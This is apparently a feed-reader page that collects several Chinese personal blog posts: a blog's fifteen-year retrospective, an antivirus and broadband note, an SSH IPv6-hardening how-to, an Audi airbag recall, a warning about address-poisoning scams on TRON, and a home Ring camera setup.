阅读视图

发现新文章,点击刷新页面。

写在老张博客十五周年

写在老张博客十五周年 - 第1张图片

真的没有刻意去记今天,只是今天偶尔看网站信息时,才注意到建站时间是2009年10月9日,算到今天,正好是十五周年。到我提笔止,老张博客十五年里,不包括本篇共发布了787篇文章。评论数为18412条,其中应该有一大半是我回复评论。浏览总次数为5230094次,乍看这523万浏览量蛮大的,其实这是长时间积累的,平均每天也不过千。

老张根据文章归档,来回忆下老张博客走过的十五年的路。其实老张建博客是在2008年,只不过那个时候对“数据安全”没有概念,搞个博客正常丢数据。目前的数据是从2009年10月9日一直使用到现在的,现在是每天做备份,生怕哪数把数据搞丢了。

2009.10-2010.7:摸索爬行期:

想不起来老张当初因为什么建博客了,根据2009年归档的所谓的文章来看,从2009年10月建站到2010年7月中旬,基本上是转载别人的文章或是自己简单发两句话。可能是前一年对写博客并没有什么经验,只是去折腾但并没有把折腾的过程记录下来。建站前一年,可以说是摸索爬行阶段。

2010.7-2011.4:辉煌成就期

从2010年7月28日《WordPress更换域名后所要注意的十件事》这篇文章开始,到2011年4月份,原创了大量Wordpress方面的教程,同时总结了SEO方面的技术经验文章。这一年时间里,是原创高质量文章最多的一年,很多篇教程当时被admin5等站长网站收录,当然也引来了很大的流量,可以说这一年是老张博客最为辉煌的一年。

2011.5-2018.9:歇菜苟活期

2011年5月份开始,歇菜了,这段时间应该去折腾易语言去了,因为出现了一些易语言方面的教程。也就是从那个时候开始,老张博客在“苟活期”,你说不更新吧,偶尔那么转载两篇文章,你说更新吧,一年也就是更新十来篇。老张博客的苟活期或是说“空白期”相当的长,从2011年5月一直持续到2018年9月,长达七年之久。

2018.10-今:平稳发展期

2018年10月份起,老张博客从技术型博客转到“技术生活类”博客后,才算是基本上稳定。也就是那这个时候开始,内容为记录一些自己折腾的过程,分享一些自己的生活。更新基本上算是有规律,达到每个月四五篇,一直保持到现在。也就是说,真正意义上的写博客只能算是2010年7月至2011年5月,以及2018年10月起到现在,满打满算,也就是6年时间。博客十五周年,而真正写博客也就是六年时间,也算是可悲哟。

博客大事件

结合着前段时间软云的跑路风波涉及的数据安全来讲,来说说老张博客这十五年来遇到了两件“大事件”。

第一件事就是2017年长时间不上博客,未能及时更新博客程序和各种插件,导致各项版本太旧,有黑客利用漏洞入侵了我的空间,所有网站文件全被挂马。这个技术方面的事自己是搞不来的,还是在“游子”的帮助下花了大量的时间才得以解决。

另外一件大事就是“游子失联”。游子,一个非常不错的空间商,他真的能和客户打成一片,包括我在内,他的长期客户非常多,我用他的空间有十余年时间。但是在2020年11月份,游子的所有服务器全部停机,而游子又联系不上。我在《历经一劫,博客重生!》详细介绍了整个事件的过程。好在后来在朋友的帮忙下,直接打款给IDC商后开通了一个季度的机器才把数据得以保存。对于游子的失联,我们所有群里客户并不是担心“赔偿问题”,而是考虑到游子的个人安危问题。有位客户离游子比较近,单独开车百余公里去找游子,功夫不负有心人,找到了游子的老婆。这时才知道,原来游子在给一家P2P公司做网络方面的技术顾问,最终这家公司资金断链而被起诉,被定性为诈骗,游子也被牵涉其中而被留置。到现在已经五年时间了,游子客户微信群一直还在,但是还没有游子的身影,不知道他过的怎么样了。

老张博客十五周年了,不管你的博客在大厂还是小厂,定期做数据备份,把数据牢牢的抓在自己手里,还会有下一个十五年!再下个十五年,无数个十五年。

我用诺顿杀毒软件, 你呢?


我这几年一直用的是诺顿杀毒软件(Norton Security),而且是正版的。这些年软件都是按订阅制了/Subscription,所以能用上基本上是正版的。

但是我没花一分钱,因为这个是我家网络公司PlusNet免费提供的。PlusNet是一家谢菲尔得的公司,在谢村中心西街/West Street上,当年我路过透过玻璃窗户还看到他们家的员工在打乒乓球。

norton-anti-software 我用诺顿杀毒软件, 你呢? 安全 计算机 资讯 软件

诺顿杀毒软件 Norton Anti-virus Software

今年又续了2年的宽带,他们家的网络不错,在英国的朋友可以用我的推广链接加入(并且填写我的用户名 doctorlai),有折扣。

免费的就是香,要是自己花钱,那可能就会觉得贵了,虽然每个月也就大概6英镑(年付是73.99英镑)。这个宽带套餐包的这个诺顿可以在7台机器上安装。我给家里其它电脑都装上了,还有剩余。如果你也想蹭一下,请我喝杯咖啡即可,先到先得。

PlusNet宽带还有其它一些功能,比如每月可花5英镑买一个静态IP/Static,这样方便在家里架服务器,不过一般来说静态IP地址并不是最难搞的,家里的网络上行一般只有下载的一半,而且家里的网络也不够稳定,再加上没有机房稳定的供电和散热,一般家里架服务器就是玩玩而已。

plusnet-broadband-add-ons 我用诺顿杀毒软件, 你呢? 安全 计算机 资讯 软件

PlusNet宽带提供的Add-on

这年头只要不乱下载软件,一般不会搞到电脑病毒/木马,其实最重要的防护是防止监听/木马等,上次下载了一个迅雷下载就被诺顿报安全风险,我立马给禁了删掉了,浏览器插件也有风险,上次币圈有一个插件就偷偷的记录你的浏览器登陆Cookie然后就把币给盗走了,所以在浏览器里登陆交易所,切记用安全模式(隐身模式),因为在隐身模式下所有插件是会被禁用的,比较安全。

norton-report-thunder-opentracker-xyz 我用诺顿杀毒软件, 你呢? 安全 计算机 资讯 软件

诺顿杀毒软件报迅雷下载 opentracker.xyz 有安全风险

常在河边走,总会湿了鞋子,所以还是做好防护,这可不是心理安慰,安全就如防火,平时不出事的时候看着没事,但一旦出了事,就追悔莫及。

本文一共 654 个汉字, 你数一下对不对.
我用诺顿杀毒软件, 你呢?. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 我用诺顿杀毒软件, 你呢? 安全 计算机 资讯 软件
The post 我用诺顿杀毒软件, 你呢? first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  2. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  3. 在英国给孩子换学校的经历: 孩子离开了村里的小学 由于搬了家, 孩子上学得提前半小时出门了, 因为早上堵, 也得开车半小时才能到. 之前在 Fen Drayton 村庄上小学, 早上8:45学校门开, 9点敲钟孩子排队依次进入教室, 我们由于在村里, 只需要提前5分钟出门和孩子一起走路就可以了. 现在一下子早上变得很匆忙, 得叫孩子起床, 做早饭,...
  4. 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
  5. 公司请的专业摄影师 公司来了新的CEO管理之后,很多事情都不一样了, 特别是一些公司对外形象的事情就特别的在意, 比如公司网站用上SSL.现在公司还有空闲的位置,请速来(钱多人不傻). 一月份出差回LUTON,刚好公司请来摄影师给高层管理照像放网站上的,于是我也凑了凑热闹(但是却还不够资格被放在公司网站上),不过没关系,放这里也差不多. 人到中年, 沧桑感强了些. 更新更新: 同事用他NB的单反给谢菲尔得办公室的人也拍了一组这样的照片.看起来很不错, 很专业,灯光,道具应有尽有.我已经用在了LINKEDIN页面上,立马高大上. 本文一共 230 个汉字, 你数一下对不对. 公司请的专业摄影师. (AMP...
  6. Leetcode 的在线调试器 最近 leetcode 刷题网站出了一个在线调试器. 个人感觉非常好用. 因为我平时是用 IPAD+蓝牙键盘来刷题, 而在 ipad 上是没有集成的IDE的, 对于调试来说, 只能很原始的让函数退出一个值, 然后尝试不同的输入来发现问题. leetcode在线调试器的好处 理论上来说, 你可以直接在浏览器里解决任何一道...
  7. 在英国开车的简单介绍/英国开车上路需要准备什么? 在英国合法上路需要有: 有效的驾照; MOT 车的年检; 路税 (Road Tax);还有最重要的汽车保险; 四者缺一不可. 千万不要有侥幸心理, 因为警察现在都高科技, 都能扫描车牌就能知道你合不合法. 不合法直接拦下来轻则罚款, 重则扣车上述法庭. 驾照 在英国可以用欧盟的大部分驾照,...
  8. 优化设计 个人主页 并且 PageSpeed Insights 双项 100分 坛子的个人主页 www.tanzhijun.com 不错 很适合个人主页的模板. 而且是手机友好. 于是我照着把 我的主页改了改. https://steakovercooked.com 并且做了几点修改: 0. 使用 google mod_pagespeed 把 JS,...

卸载豆包桌面客户端

使用豆包大概有一个月左右了,整体感觉比文心一言更好用。主要体现在生成图片更符合要求,图片像素更高;当搜索引擎时 […]

停止 SSH 服务器监听 IPv6 地址

为啥要停止 SSH 服务器监听 IPv6 地址?

  许多同学家里都有软路由或者小型服务器,用来跑一些个人的小程序,或者跑 TeamTalk 等。现在 IPv6 已经基本普及,好处是每个设备甚至每个容器都能分配到一个公网 IP 地址,坏处也显而易见,那就是,之前靠路由器来充当防火墙的搞法已经不奏效了。为啥捏?因为之前基本都是在路由器上做端口映射,可以有选择地开放端口到互联网上,现在则是整个系统暴露到了互联网。

  看到这里,聪明的同学应该都已经知道俺想表达的意思啦。没错,咱们都是通过 SSH 来控制服务器的,一旦它被入侵,后果是很严重滴!删库跑路还不是最大的问题,最大的问题是骇客潜伏在服务器里,三天两头搞些事情,如果你有很多的虚拟机,仅凭一己之力,是很难彻底跟踪入侵踪迹的。

怎么停止 SSH 服务器监听 IPv6 地址?

  首先,通过终端/SSH 之类的方法登录你的服务器,并进入 /etc/ssh 目录,用 cp 命令备份一下 sshd_config 文件,具体命令俺就不多费口水了。备份好之后,用你习惯的编辑器打开 sshd_config 文件,比如俺喜欢用 nano 编辑器,命令是 nano sshd_config

  找到 #AddressFamily any 这一行,把前面的“#(警号)”删除,改成 AddressFamily inet。往下找到 #ListenAddress 0.0.0.0,再把前面的“#”删除。最后,保存 sshd_config 文件。

  这还没完!要想让修改生效,必须重启 SSH 服务端软件,在 CentOS/Debian/Ubuntu 系统上,命令是 systemctl restart sshd,在 Alpine Linux 系统上,命令是 service sshd restart

  切记!先别断开 SSH 连接,一定要看刚才执行命令后是否有报错信息,如果有,赶紧恢复之前的备份,然后重新修改配置文件并再次尝试重启。

检查 SSH 服务器是否停止监听 IPv6 地址

  当修改完成后,一定要有复查的习惯。咋复查捏?在有 IPv6 连接的内网电脑上,通过 SSH 连接服务器的 IPv6 地址,如果连接不上就表示修改成功了。为了避免误判,俺建议通过 ping 以及连接这台服务器的其他端口(例如 Web 端口)来再次确认。

奥迪A6因安全气囊被召回


前不久,我收到奥迪AUDI的来信,意思是说我的那A6需要召回车厂去修一个和安全气囊相关的安全问题。

拉回车厂修是免费的,几年前我那奥迪Q5也因为一个安全问题送到了4S店去免费修,甚至还在4S店免费洗了个车。这次也应该可以送到4S店去修。奥迪公司是从英国车辆管理局DVLA获得了车主的信息,虽然这个安全问题发生的概率并不大,车主在送车返厂修之前还是可以上路的,但是还是得重视起来。

你们猜怎么着?由于收到信的时候我已经决定要换车了,所以就没修,等到2-3周后把车直接开到车厂,以300英镑的价格抵给了车厂,我懒得修车,就直接把信给车厂了。

这奥迪A6已经17年老了,我在2015年的时候买的,当时花了大概是七八千英镑,在我手上开了9年,开了4万多英理,在We Buy Any Car网站上估价大概就是六七百英镑,也不值得折腾。并且这车是柴油车(每年路税Road Tax得200多英镑/每年DVLA上涨5英镑),进伦敦得交ULEZ费用(Ultra Low Emission Zone) 而且是手动档,高理程数(卖的时候是12万英理),所以价格只卖了300英镑。

对了,我这次换了一新车:保时捷卡宴,详细有时间测评一下。

我们最重视的是客户的安全以及我们车型的可靠性和长期使用寿命,因此我们不断监控产品质量。经过大量分析发现,在极少数情况下,您车辆乘客安全气囊的气体发生器外壳可能会在触发乘客安全气囊时超载甚至爆裂。如果发生这种情况,小金属部件可能会从外壳中脱落,并可能对车辆乘员造成危及生命的伤害。出于安全原因,有必要检查乘客安全气囊,并在必要时更换安全气囊模块。所需工作大约需要两个小时,当然是免费的。请注意,出于组织原因,奥迪中心可能需要您的车辆更长时间,他们会在预订时通知您。

The safety of our customers and the reliability and long-term service life of ourmodels are our top priorities, which is why we constantly monitor the quality of our products.Extensive analyses have found that the gas generator housing for your vehicle’s passenger airbag may, in extremely rare cases, be overloaded and even burst whenthe passenger airbag is triggered. lf this were to happen, small metal parts couldbecome dislodged from the housing and potentially cause life-threatening injury to a vehicle occupant. For safety reasons, it is necessary to check the passenger airbag and, if required, toreplace the airbag module, The work required will take approximately two hours andwill, of course, be performed free of charge. Please note for organisational reasons the Audi Centre may require your vehicle for longer, they will advise you of this at the point of booking.

audi-a6-airbag-recall-2024-06-18-11.51.25 奥迪A6因安全气囊被召回 安全 汽车

AUDI 招回A6 因为airbag有问题

受影响车辆的问题是什么?
根据制造商 Takata 提供的信息,受影响的 Takata 乘客安全气囊的气体发生器在事故中触发安全气囊时可能会爆裂。

故障原因是什么?
Takata 认为原因是推进剂在湿度和温度的影响下老化,这会导致气体发生器中的推进剂燃烧加速。反过来,这会在发生器内部产生过大的压力,这可能导致外壳爆裂。推进剂的变化是由于长期受湿度和温度的影响而发生的,由于各种因素(例如发生器的具体几何形状和推进剂的成分)对老化现象有决定性的影响,因此正在对大众集团使用的安全气囊的安装位置和其他结构差异进行进一步分析。

故障有什么影响?/ 会发生什么?
如果外壳爆裂,气体发生器的金属碎片可能会射入乘客舱,对乘客造成危及生命的伤害。

哪些车辆受此问题影响?
2005 年至 2011 年生产的奥迪 A4、A4 Cabriolet 和 A6 车辆受到影响。

汽车上到底需要修理什么?
所有受影响的车辆都必须更换整个乘客安全气囊模块

在汽车进行检查/维修之前,我可以继续使用汽车吗?
是的,在进行检查/维修之前,您可以照常驾驶汽车,例如,美国道路安全管理局 (NHTSA) 强烈建议不要停用安全气囊。

奥迪是如何发现故障的?
我们的供应商告知了我们工艺差异和这个潜在问题

有客户报告过这种情况吗?
没有;我们不知道奥迪车辆乘客安全气囊的气体发生器发生爆裂的任何实例。

有没有人身伤害的案例?
没有;我们尚未发现奥迪汽车乘客安全气囊的气体发生器发生过爆炸。

车内人员有危险吗?
根据我们目前的知识,我们认为消费者没有严重风险。

司机会意识到这个问题吗?
不会。

我可以在世界任何地方的奥迪中心进行维修吗?
是。

是否需要预约?
是的,应立即预约,以便及时处理情况。

What is the issue on the affected vehicles?
According to information provided by the manufacturer Takata, the gas generator of the Takata passenger airbags affected may burst when the airbag is triggered during anaccident.

What is the cause of the fault?
Takata perceive the cause to be the ageing of the propellant under the influence ofmoisture and temperature, this can lead to accelerated propellant combustion in the gasgenerator. in turn, this generates excessive pressure inside the generator, which maycause the housing to burst.The change to the propellant occurs as a result of the effects of moisture and temperatureover a long period, Because various factors (such as the specific qeometry and shape ofthe generators and the composition of the propellant) have a decisive effect on ageingphenomena, further analyses are being performed regarding installation positions andadditional construction differences of the airbags used by the VW Group.

What effect does the fault have? / What can happen?
If the housing were to burst, metal pieces of the gas generator could shoot through thepassenger compartment and cause life-threatening injury to the occupants.

Which vehicles are affected by the issue?
Audi A4, A4 Cabriolet and A6 vehicles manufactured between 2005 and 2011 areaffected.

What exactly needs to be repaired on the car?
The complete passenger airbag module must be replaced on all vehicles affected

Can l continue using the car until it can be inspected/repaired?
Yes, you can drive the car as usual until the inspection/repair is performed, The Americarroad safety authority NHTSA, for example, strongly recommends that the airbag shouldnot be deactivated.

How did Audi discover the fault?
We were informed of the process discrepancy and this potential problem by our supplier

Have there been cases reported by customers?
No; we are not aware of a single instance in which the gas generator for the passengerairbag in an Audi vehicle has burst.

Have there been any cases of personal injury?
No; we are not aware of a single instance in which the gas generator for the passengerairbag in an Audi vehicle has burst.

Is there any risk for the car occupants?
We do not see any acute risk for consumers based on our current knowledge.

Will the driver be aware of the issue?
No.

Can I have the repair carried out by an Audi Centre anywhere in the world?
Yes.

Is it necessary to make an appointment?
Yes, an appointment should be made without delay so that the situation can be dealt withpromptly.

audi-a6-airbag-recall-2024-06-18-11.51.29 奥迪A6因安全气囊被召回 安全 汽车

AUDI 招回A6 因为airbag有问题

在英国开车

在英国的几辆车
汽车保险
开车/成本
本文一共 1269 个汉字, 你数一下对不对.
奥迪A6因安全气囊被召回. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 奥迪A6因安全气囊被召回 安全 汽车
The post 奥迪A6因安全气囊被召回 first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  2. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  3. HTX火币交易所上的DeFi之Flexi Maxi (最大活期) HTX 加密货币交易所拥有一系列不同的 DeFi 产品(去中心化金融),其中 Flexi Max 是其中一个有趣/很受欢迎的产品。 简而言之,您可以将加密货币(例如 USDT)订阅成这个Flexi Maxi/最大活期,用于挣更多的利息。比如现在HTX火币加密货币交易所,存USDT稳定币有年化5%利息。 订阅后,您可以随时赎回资金/本金,但不同的费率适用。如果您持有资金超过 365 天,则无需支付费用。 与可以随时无罚金提取资金的活期帐号 DeFi...
  4. 比特币下车了, 真的就很难于再上车了 每次我一卖比特币, 结果就会涨, 屡试不爽. ? 两周前, 当比特币价钱是8500英镑的时候, 我通过 coinbase 把 0.11 个比特币换成了 900多英镑. 但, 相信我, 我这回真不着急取出,...
  5. 添加两 API: ddate 和 cat-proc 添加 2 个API, ddate 和 cat-proc. cat-proc cat-proc 其实不是一个LINUX命令. 在文件夹 /proc 下有一些文件存储着一些系统相关的信息, 比如 uptime, cpuinfo,...
  6. 塞尔维亚(Serbia)贝尔格莱德(Belgrade)五天四晚之旅: 提前一天到机场酒店坐第二天早班飞机 今年6月份就和媳妇商量说今年夏天全家去哪里旅游, 这几年每年8月份大儿子生日那周都会全家旅游顺便给娃过生日. 我媳妇上班后今年假期之前已经用掉了不少, 她请假准备考试AAT. 今年是疫情开放的第一年, 所以很多在国外的朋友都回国了, 我们今年就懒得折腾, 因为儿子是英国护照, 所以还得给他们办中国签证或者是旅行证. 索性今年就不回国到外面转转, 之前去了北爱尔兰, 因为那还是英国, 又感觉像出国一样. 中国护照在欧洲能免签或者电子签的地方并不多: 土耳其,...
  7. 花钱让人换汽车钥匙的电池真是个智商税 今天想不到我这么聪明的人也被人狠狠的收了一把智商税. 今天被收智商税了, 去 Tesco 换车钥匙的电池. . 才发现如此的简单, 那人直接2分钟搞定2个, 然后收了我25英镑. . 服了. . 我还以为很复杂…… 网友说 “1....
  8. 怎么样每天自动发一贴到新浪微博等社交网络上? 经常通过社交网络发博客链接是增加博客曝光率和提高博客流量的最直接有效的方法之一. 懒人第一想到就是能否自动通过程序来每天定时定点发贴, 完全自动就不用操心了. 之前写过通过PHP脚本调用 FACEBOOK SDK 或者 Twitter 等API来发贴, 但是这种方法就是很有针对性, 换一个新的社交平台 调用代码就得重新写不能复用. 能不能有一种比较通用的方案? 这里介绍的方案就是: 通过...

警惕区块链上的小额诈骗转帐


在波场(TRON)和以太网(ETH)上,我见过以下显示的小额交易。

比如以下显示在Tron Scan区块链浏览器,显示的这笔交易被怀疑是从一个与用户账户有相同结尾字符的账户发起的攻击。请警惕这种骗局。

tron-suspected-attack 警惕区块链上的小额诈骗转帐 加密货币 区块链 波场 (TRON) 资讯

这笔交易被怀疑是从一个与用户账户有相同结尾字符的账户发起的攻击。请警惕这种骗局。

发生了什么?

当你从A钱包发送资产到钱包B时,攻击者可能会生成一个类似B的钱包地址C(在前缀和/或后缀上非常相似),然后给你发送少量资产。

比如,Steem2TRX 发起了一笔到钱包地址B的交换。

tron-legit-transfer 警惕区块链上的小额诈骗转帐 加密货币 区块链 波场 (TRON) 资讯

TRON: tronscan explorer 显示一笔合法交易

而这笔交易被攻击者在链上检测到,他们生成了一个长得很像钱包B地址的随机地址钱包类似C,然后从C发送一笔小额交易。

tron-blockchain-malicious-attack-transaction 警惕区块链上的小额诈骗转帐 加密货币 区块链 波场 (TRON) 资讯

攻击者发送了一些小额交易

为什么?攻击是怎么发生的?

如果你不验证来源,可能会误认为钱包C就是钱包B,并将资金转移到C而不是B。你可能之后会向钱包B发送资金,而攻击者则猜你有可能会转错,因为钱包地址C长得和B很像。

总结:

忽略这些交易,在转帐时一定要验证目标钱包地址。不要随意下载任意的软件因为有些恶意软件会监视你的剪贴板,并将复制的钱包地址更改为攻击者的钱包地址,让你在不知不觉中将资产发送到错误的地址!

保持警惕,保持安全。现在的骗局真是尘出不穷。

英文:Beware of the Malicious Transactions on TRON Blockchain

区块链技术

本文一共 538 个汉字, 你数一下对不对.
警惕区块链上的小额诈骗转帐. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 警惕区块链上的小额诈骗转帐 加密货币 区块链 波场 (TRON) 资讯
The post 警惕区块链上的小额诈骗转帐 first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  2. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  3. 在英国给孩子换学校的经历: 孩子离开了村里的小学 由于搬了家, 孩子上学得提前半小时出门了, 因为早上堵, 也得开车半小时才能到. 之前在 Fen Drayton 村庄上小学, 早上8:45学校门开, 9点敲钟孩子排队依次进入教室, 我们由于在村里, 只需要提前5分钟出门和孩子一起走路就可以了. 现在一下子早上变得很匆忙, 得叫孩子起床, 做早饭,...
  4. 再回Cambourne的小酒吧 The Monkfield Arms Cambourne是一个位于英国的小镇, 位于剑桥郡东南部, 距离剑桥市仅有14英里. 该小镇由Milton Keynes Development Corporation和Cambridgeshire County Council共同开发而成, 于1994年正式对外开放. Cambourne是一个安静, 美丽的小城, 有着优美的景色, 宽敞明亮的街道, 便利的商店和优质的公共服务....
  5. 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
  6. 公司请的专业摄影师 公司来了新的CEO管理之后,很多事情都不一样了, 特别是一些公司对外形象的事情就特别的在意, 比如公司网站用上SSL.现在公司还有空闲的位置,请速来(钱多人不傻). 一月份出差回LUTON,刚好公司请来摄影师给高层管理照像放网站上的,于是我也凑了凑热闹(但是却还不够资格被放在公司网站上),不过没关系,放这里也差不多. 人到中年, 沧桑感强了些. 更新更新: 同事用他NB的单反给谢菲尔得办公室的人也拍了一组这样的照片.看起来很不错, 很专业,灯光,道具应有尽有.我已经用在了LINKEDIN页面上,立马高大上. 本文一共 230 个汉字, 你数一下对不对. 公司请的专业摄影师. (AMP...
  7. Leetcode 的在线调试器 最近 leetcode 刷题网站出了一个在线调试器. 个人感觉非常好用. 因为我平时是用 IPAD+蓝牙键盘来刷题, 而在 ipad 上是没有集成的IDE的, 对于调试来说, 只能很原始的让函数退出一个值, 然后尝试不同的输入来发现问题. leetcode在线调试器的好处 理论上来说, 你可以直接在浏览器里解决任何一道...
  8. 新的旅途 – 离别总是伤感的, 离开了一起创业的公司 2周前, 正式离开了一起创业的公司, 这公司是我博士毕业后的第一份正式工作, 待了8年多了, 离别总是伤感的. 我是9月初提的离职, 三个月 Notice Period, 最后的几周交接完工作确实没有什么压力了. 11月30号, 在公司最后一天, 公司有个习惯, 对于 Good...

家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视


2015年从谢菲尔得/Sheffield来剑桥到现在已经9年了,前两年在家里装了安全摄像头,选择的是Amazon Ring,听说在Amazon收购Ring.com之前也有在做类似的Security Cameras安全摄像头,但后来竞争不过索性财大气粗的把竞争对手给买了下来。

一个摄像头最便宜的大概30几英镑,有加电池的比较贵。我前前后后买了9个,有的是每年黑五打折比较便宜入的。一共有2个是电池的,其它7个是接电源的。Ring摄像头的产品线还是挺广的,放室外的摄像头用电池还可以加一个太阳能板来充电。安装也很方便,基本上就是个图钉就搞定了。

装这么多摄像头主要把一楼的各个角落都覆盖到了,感觉比较安全,万一有个啥情况也能报案有证据。门口的摄像头还方便不在家的时候和快递员说话,手机和电脑上也很方便的可以查看摄像头的情况。可以设置检测频率和敏感度,如果画面有变化,则会报警录像等。剑桥AMAZON办公室(在火车站对面)有一个组就是做Ring视频检测的。

我多买了两个电池用于更换,大概2-3周需要充一次电,Ring摄像头有很多配置都会影响电量使用,比如:可以减少每次截图Snapshot的次数,也可以减少每次检测到画面有变化录像的时间(可以选择30秒到2分钟不等)。

Ring摄像头自动记录视频到AWS亚麻云上,保存30天,不过需要额外支付费用,每年年付是80英镑,就可以同一家庭住址无限量摄像头,如果只有一个摄像头,可以选择单付,年费会稍微便宜一些。

这次回国,多亏有摄像头,每天都能看到两只猫的活动情况,也比较安心(虽然回家后发现地上都是猫毛,猫屎盆里全是屎,臭味冲天)。

剑桥市中心有几条街治安不怎么样,我住的这个小村还可以,但还是防患于未然,这就如消防设备,平时可能没啥用,但是万一有啥情况就很必要了。希望永远都不要发生这种情况。

ring-camera-dashboard 家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视 Amazon 数码 生活 资讯

家里配备了9个Ring摄像头-控制面板

ring-camera-live-view-scaled 家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视 Amazon 数码 生活 资讯

家里配备了9个Ring摄像头-Live View 现实视图

我媳妇会看视频来看孩子们有没有认真完成作业/弹钢琴等等。

ring-camera-home-2024-8-27 家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视 Amazon 数码 生活 资讯

9个摄像头把楼下基本都覆盖了,没有安全死角

本文一共 793 个汉字, 你数一下对不对.
家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视 Amazon 数码 生活 资讯
The post 家里配置了9个Amazon Ring安全摄像头-安全措施不可忽视 first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  2. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  3. 在英国给孩子换学校的经历: 孩子离开了村里的小学 由于搬了家, 孩子上学得提前半小时出门了, 因为早上堵, 也得开车半小时才能到. 之前在 Fen Drayton 村庄上小学, 早上8:45学校门开, 9点敲钟孩子排队依次进入教室, 我们由于在村里, 只需要提前5分钟出门和孩子一起走路就可以了. 现在一下子早上变得很匆忙, 得叫孩子起床, 做早饭,...
  4. 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
  5. 公司请的专业摄影师 公司来了新的CEO管理之后,很多事情都不一样了, 特别是一些公司对外形象的事情就特别的在意, 比如公司网站用上SSL.现在公司还有空闲的位置,请速来(钱多人不傻). 一月份出差回LUTON,刚好公司请来摄影师给高层管理照像放网站上的,于是我也凑了凑热闹(但是却还不够资格被放在公司网站上),不过没关系,放这里也差不多. 人到中年, 沧桑感强了些. 更新更新: 同事用他NB的单反给谢菲尔得办公室的人也拍了一组这样的照片.看起来很不错, 很专业,灯光,道具应有尽有.我已经用在了LINKEDIN页面上,立马高大上. 本文一共 230 个汉字, 你数一下对不对. 公司请的专业摄影师. (AMP...
  6. Leetcode 的在线调试器 最近 leetcode 刷题网站出了一个在线调试器. 个人感觉非常好用. 因为我平时是用 IPAD+蓝牙键盘来刷题, 而在 ipad 上是没有集成的IDE的, 对于调试来说, 只能很原始的让函数退出一个值, 然后尝试不同的输入来发现问题. leetcode在线调试器的好处 理论上来说, 你可以直接在浏览器里解决任何一道...
  7. 在英国开车的简单介绍/英国开车上路需要准备什么? 在英国合法上路需要有: 有效的驾照; MOT 车的年检; 路税 (Road Tax);还有最重要的汽车保险; 四者缺一不可. 千万不要有侥幸心理, 因为警察现在都高科技, 都能扫描车牌就能知道你合不合法. 不合法直接拦下来轻则罚款, 重则扣车上述法庭. 驾照 在英国可以用欧盟的大部分驾照,...
